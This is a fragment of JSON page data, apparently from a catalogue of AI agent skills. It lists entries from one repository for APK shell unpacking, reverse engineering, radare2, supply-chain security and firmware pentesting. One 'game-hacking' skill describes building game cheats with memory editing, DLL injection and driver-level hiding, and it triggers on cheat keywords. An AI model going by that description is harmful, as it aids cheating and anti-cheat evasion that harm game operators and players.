eTypeDesc":47,"sizeBytes":56,"sourceHtmlUrl":57},"references\u002Femulation-and-fuzz.md",8770,"https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fcodex\u002Fmaterials\u002Fskills\u002Feni-firmware-pentest\u002Feni-firmware-pentest\u002Freferences\u002Femulation-and-fuzz.md",{"path":59,"resourceType":46,"resourceTypeDesc":47,"sizeBytes":60,"sourceHtmlUrl":61},"references\u002Fextraction-methodology.md",6933,"https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fcodex\u002Fmaterials\u002Fskills\u002Feni-firmware-pentest\u002Feni-firmware-pentest\u002Freferences\u002Fextraction-methodology.md",[63,71,78,85,91,97],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":70},"01M7EYSVDK2NDWT3E55EQN2KJY","yingan-tuoxiu","Owner-authorized YingAn\u002FYingPo Android APK shell rehydration and stable rebuild workflow. Use for APKs with tiny or abnormal root DEX files, v.m.p or abcd655xx shell callbacks, libabcd\u002Flib*shellservice_dex native loaders, protected assets, runtime-loaded DEX images, hidden real Application or Activity routes, and native lifecycle wrappers that must be recovered into a normally installable, signed multidex APK without changing product authentication or business authorization behavior.","https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fworkbuddy\u002Fmaterials\u002Fskills\u002F西宫影安老版本脱修\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":70},"01M7EYSNPJM4G98TAYPQ0DRHDA","reverse-engineering","Use when performing reverse engineering on any target: websites, desktop binaries (PE\u002FELF),\nmobile apps (APK\u002FIPA), or network protocols. Covers web scraping\u002FAPI reverse, disassembly\nand decompilation, Frida\u002FXposed hooking, il2cpp\u002FUnity reverse, protocol capture and replay,\nencryption\u002Fsignature analysis, and memory debugging.\nTriggers: 逆向、反编译、Hook、脱壳、抓包、协议分析、Frida、Xposed、il2cpp、Unity逆向、\n内存扫描、DLL注入、PE分析、ELF分析、APK逆向、IPA逆向、反混淆、签名分析、加密还原、\nsmali、Ghidra、IDA、Cheat Engine、mitmproxy、Wireshark、脱壳、加固、SO逆向、Web逆向。","https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fworkbuddy\u002Fmaterials\u002Fskills\u002F外挂逆向skills\u002Freverse-engineering\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":70},"01M7EYSFJ2GD8JMZ2BEN5EZ1P2","game-hacking","游戏辅助开发全链路助手——覆盖内存读写、协议分析、反编译、Hook 技术、驱动级隐藏、自动化脚本。\n支持 C\u002FC++、Python、x86\u002Fx64 汇编、DirectX\u002FOpenGL。适用于 PC 端游、Android\u002FiOS 手游、主机游戏。\n当用户提到以下任何关键词时必须触发：游戏外挂、游戏辅助、内存修改、CE教程、游戏Hook、\n协议分析、反编译、驱动隐藏、游戏脚本、按键精灵、游戏逆向、内存扫描、指针追踪、DLL注入、\n游戏破解、脱壳、抓包分析、Frida、Xposed、il2cpp、Unity逆向、UE4逆向、DirectX Hook、\nOpenGL Hook、游戏自动化、坐标识别、模板匹配、游戏安全测试。","https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fworkbuddy\u002Fmaterials\u002Fskills\u002F外挂逆向skills\u002Fgame-hacking\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":70},"01M7EYSDN4YRG47G64RZWN9VQP","supply-chain-security","https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fworkbuddy\u002Fmaterials\u002Fskills\u002Fzzy-codex5.6\u002Fzzy-reverse-skill\u002Fskills\u002Fsupply-chain-security\u002FSKILL.md",[],[],{"skillNo":92,"name":73,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":70},"01M7EYS778SXQN48QQHGSD72HD","Provides reverse engineering techniques. Use when the main job is to understand how a compiled, obfuscated, packed, or virtualized target works before exploiting or solving it, including binaries, APKs, WASM, firmware, custom VMs, bytecode, malware-like loaders, and anti-debug or anti-analysis logic. Do not use it when the vulnerability is already understood and the remaining task is exploitation; use pwn instead. Do not use it for pure web workflows, log or disk forensics, or standalone crypto problems unless reversing the implementation is the real blocker.","https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fworkbuddy\u002Fmaterials\u002Fskills\u002Fzzy-codex5.6\u002Fzzy-reverse-skill\u002Fskills\u002Freverse-engineering\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":70},"01M7EYS223506HTEF0RD9952QP","radare2","Use this skill whenever the user wants to analyze binaries with radare2\u002Fr2 from the command line, including reverse engineering, disassembly, function analysis, strings\u002Fimport inspection, patching, binary diffing, hex inspection, or r2 scripting. Also use it when the user mentions PE\u002FELF\u002FMach-O\u002FDEX\u002FWASM files together with CLI analysis, `rabin2`, `rasm2`, `radiff2`, `r2pipe`, or asks for radare2 command help on Windows\u002FLinux\u002FmacOS.","https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fworkbuddy\u002Fmaterials\u002Fskills\u002Fzzy-codex5.6\u002Fzzy-reverse-skill\u002Fskills\u002Fradare2\u002FSKILL.md",[],[]]